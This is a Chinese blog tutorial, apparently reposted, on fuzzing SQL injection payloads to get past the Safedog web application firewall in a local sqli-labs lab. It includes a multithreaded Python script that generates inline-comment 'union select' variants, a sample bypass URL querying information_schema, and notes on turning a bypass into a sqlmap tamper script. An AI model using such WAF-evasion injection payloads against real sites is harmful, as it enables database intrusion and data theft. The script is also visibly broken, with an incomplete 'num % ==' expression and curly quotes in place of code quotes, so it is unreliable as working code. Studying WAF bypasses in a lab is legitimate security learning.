Fuzz脚本的编写

Fuzz脚本的编写嵌入到sqlmap的tamper脚本能力有限,仅以sql注入为例子5.总结1.mysqlsql注入略。

大家好,欢迎来到IT知识分享网。

原创: Naivete 合天智汇

目录

1.mysqlsql注入

2.环境搭建

3.fuzz脚本编写

4.嵌入到sqlmap的tamper脚本

能力有限,仅以sql注入为例子(其中以某学长的提醒,某行嘉宾前辈的课程和讲解为基础,以网上前辈各大博客为拓展写出此文)

5.总结

1. mysql sql注入

略。

2. 环境搭建

这里详细说下,坑有些,浪费时间性价比不高

1

某狗下载

http://free.safedog.cn/website_safedog.html某狗的下载(注意是apache4.0版本),作者这里如果下的服务器版本再在里面下apache软件出错

2

phpstudy2016下载

http://mydown.yesky.com/pcsoft/467336.html

3

安装

第一,二步,要系统服务某狗才能识别网站

第三步,去github上下个sqli-labs当靶机源码

Fuzz脚本的编写

第一步,把ip黑名单关了

第二步,把各种资源防护关了,只留http防护

Fuzz脚本的编写

Fuzz脚本的编写

Fuzz脚本的编写

4

简单验证环境

  1. url?id= 1’ and 1=1–+ 触发 某狗的and语句条件预警,被拦截
Fuzz脚本的编写

2. 我们看下能不能用requests进行访问请求,看返回包里存在”网站防火墙字样”说明是成功的(这是我们进行判断语句是否绕过waf的基础)

提醒一下,可能是因为访问请求过大,作者中途发现requests请求不到内容,重启虚拟机就好了,所以专门提出来

Fuzz脚本的编写

Fuzz脚本的编写

4. fuzz脚本编写

1

如何编写

这里,利用网上的流传甚广的内联(作者也只会这个)

fuzz出,意思就是绕过正则匹配

这里作者只进行两个语句的fuzz

其中url=”http://192.168.37.132/sqli-labs-master/Less-1/?id=1″

Fuzz脚本的编写

当然还有bool 时间 等等注入的fuzz,字典字符的顺序和字符在语句中位置很重要,很重要,很重要(重要事情说三遍)

2

附上脚本

# -*- coding:UTF-8 -*-

import requests

import time

from concurrent.futures import ThreadPoolExecutor,ProcessPoolExecutor

import sys

reload(sys)

sys.setdefaultencoding(‘utf-8’)

MAX_JOBS_IN_QUEUE = 1000

def request_url(url):

s=requests.get(url).text

if “网站防火墙” not in s:

#print “no:”+url

if “Your Login name” in s:

print url

with open(“a.txt”,”a+”) as f:

f.write(url)

f.write(“\n”)

f.close()

fuzz_zs = [‘/*’,’*/’,’/*!’,’?’,’/**/’,’/’,’*’,’!’,’%’,’%a0′]

fuzz_sz = [‘0′,’6′,’7′,’8′,’9’]

fuzz_ch = [“%0a”,”%0b”,”%0c”,”%0d”,”%0e”,”%0f”,”%0g”]

Fuzz = fuzz_ch + fuzz_zs

#Fuzz=list(set(Fuzz))

print Fuzz

print “start:”

start_time=time.time()

url=”http://192.168.37.132/sqli-labs-master/Less-1/?id=1″

num=0

length=len(Fuzz)**5

with ThreadPoolExecutor(20) as executor:

for a in Fuzz:

for b in Fuzz:

for c in Fuzz:

for d in Fuzz:

for e in Fuzz:

if num % == 0 and num > 10000:

end_time = time.time()

seconds = end_time – start_time

m, s = divmod(seconds, 60)

h, m = divmod(m, 60)

print (“%s:%s:%s” % (h, m, s))

# time.sleep(15)

try:

num = num + 1

exp = url + “‘ /*!union” + a + b + c + d + e+”select*/” + ” 1,2,3 –+”

#exp = url + “‘ union/*!” + a + b + c + d + e”*/ select” + ” 1,2,3 –+”

sys.stdout.write(‘ ‘ * 30 + ‘\r’)

sys.stdout.flush()

sys.stdout.write(“%s/%s \r” % (num, length))

sys.stdout.flush()

executor.submit(request_url, exp)

del exp

except Exception as e:

pass

”’

http://192.168.37.132/sqli-labs-master/Less-1/?id=-1%27union/*!90000aaa*/select%201,2,3/*!90000aaa*//*!90000aaa*/from%20information_schema.tables/*!90000aaa*/%23

fuzz_zs = [‘/*’,’*/’,’/*!’,’?’,’*’,’=’,’`’,’~’,’!’,’@’,’%’,’.’,’-‘,’+’,’|’,’%00′,’%20′ ,’%09′, ‘%0a’, ‘%0b’, ‘%0c’, ‘%0d’ , ‘%a0′ ,’/**/’]

fuzz_sz = [‘0′,’1′,’2′,’3′,’4′,’5′,’6′,’7′,’8′,’9’]

fuzz_ch = [“%0a”,”%0b”,”%0c”,”%0d”,”%0e”,”%0f”,”%0g”,”%0h”,”%0i”,”%0j”,”%0k”,”%0l”,”%0m”,”%0n”, “%0o”,”%0p”,”%0q”,”%0r”,”%0s”,”%0t”,”%0u”,”%0v”,”%0w”,”%0x”,”%0y”,”%0z”]

fuzz_zs = [‘/*’, ‘*/’, ‘/*!’, ‘*’, ‘=’, ‘`’, ‘!’, ‘@’, ‘%’, ‘.’, ‘-‘, ‘+’, ‘|’, ‘%00′,’/*’,’*/’,’/*!’,’?’,’*’,’=’,’`’,’~’,’!’,’@’,’%’,’.’,’-‘,’+’,’|’,’%00′,’%20′ ,’%09′, ‘%0a’, ‘%0b’, ‘%0c’, ‘%0d’ , ‘%a0′ ,’/**/’]

fuzz_sz = [”, ‘ ‘,’0′,’1′,’2′,’3′,’4′,’5′,’6′,’7′,’8′,’9’]

fuzz_ch = [“%0a”,”%0b”,”%0c”,”%0d”,”%0e”,”%0f”,”%0g”,”%0h”,”%0i”,”%0j”,”%0k”,”%0l”,”%0m”,”%0n”, “%0o”,”%0p”,”%0q”,”%0r”,”%0s”,”%0t”,”%0u”,”%0v”,”%0w”,”%0x”,”%0y”,”%0z”]

”’

3

优化脚本

还是提出来,供大家学习学习

无外乎是多线程跑起来,但是怎样利用多线程,这里作者前前后后用了多种(不限于这个脚本,是作者学习python语言道路上遇到的)

1)threadpool 老式的,效果还可以

2)multiprocessing和multithreading

3)自己的线程池类

垃圾效果。。。

4)concurrent.futures

也就是本代码用到的

参考:https://www.cnblogs.com/zhang293/p/7954353.html

4

效果结果

这里下图可以清楚看到,我们进行Fuzz的字符集合,时间原因作者设置的字符个数比较少,毕竟是进行阶乘,字符每增加一个,都懂得

以及三排时间,作者是每跑完20w,就打印一遍时间,可以看到,时间还是耗费还是比较少的,1分钟就跑完20w了

Fuzz脚本的编写

Fuzz脚本的编写

Fuzz脚本的编写

Fuzz脚本的编写

你没有看错,142w,跑完这些集合没有一个能行

5

这里说几处改点

如果要修改,注意这几处

1)作者测试67 8 9绕过概率要大,玄学

Fuzz脚本的编写

2)for循环的次数和语句位置,更重要的是图中那个ThreadPoolExecutor(20),作者开了虚拟机和杂七杂八的东西,本身电脑8g内存,开了20,刚好合适(运气吧,写这篇文章,刚好代码完全跑过,开大了只跑到90w就内存报错了,也有好处,开到ThreadPoolExecutor(100),4分钟就跑到90w了),自己结合实际情况考虑

Fuzz脚本的编写

3)语句的修改很看技术和修为的,作者也是小白,在探讨

Fuzz脚本的编写

4)判断条件

能行的判断条件,作者有点怀疑自己哪个语句或者条件错了

Fuzz脚本的编写

4. 嵌入到sqlmap的tamper脚本

sqlmap神器已经写好了各种条件,添加tamper脚本,只需简单写个替换条件就行了

可参考:

https://blog.csdn.net/whatday/article/details/

tamper有三个部分

Fuzz脚本的编写

第一部分:

执行脚本的优先级

第二部分

版本,或者是适用条件

第三部分

我们关注的点,作者看了下,简单点就行替换,把unionselect替换成什么就行了

Fuzz脚本的编写

只需改动这,其余部分相当于是公共部分

无成果,有兴趣可以自己研究下

5. 总结

本身fuzz其实不难(难在语句的构造和位置,这是技术问题了),剩下的就剩暴力激活成功教程问题了

作者花费时间最多的是在环境搭建和脚本的运行,这两个点上,文中作者以自己遇到的坑点已经提出来了

Fuzz实践及Module编写

Fuzz脚本的编写

实验简介:

通过该实验一方面了解fuzz的思想,并且学会使用metasploit进行fuzz.另外一方面学会根据自己的需求进行module的编写及利用。

实验地址:点击阅读原文

Fuzz脚本的编写

免责声明:本站所有文章内容,图片,视频等均是来源于用户投稿和互联网及文摘转载整编而成,不代表本站观点,不承担相关法律责任。其著作权各归其原作者或其出版社所有。如发现本站有涉嫌抄袭侵权/违法违规的内容,侵犯到您的权益,请在线联系站长,一经查实,本站将立刻删除。 本文来自网络,若有侵权,请联系删除,如若转载,请注明出处:https://yundeesoft.com/82946.html

(0)

相关推荐

发表回复

您的电子邮箱地址不会被公开。 必填项已用 * 标注

关注微信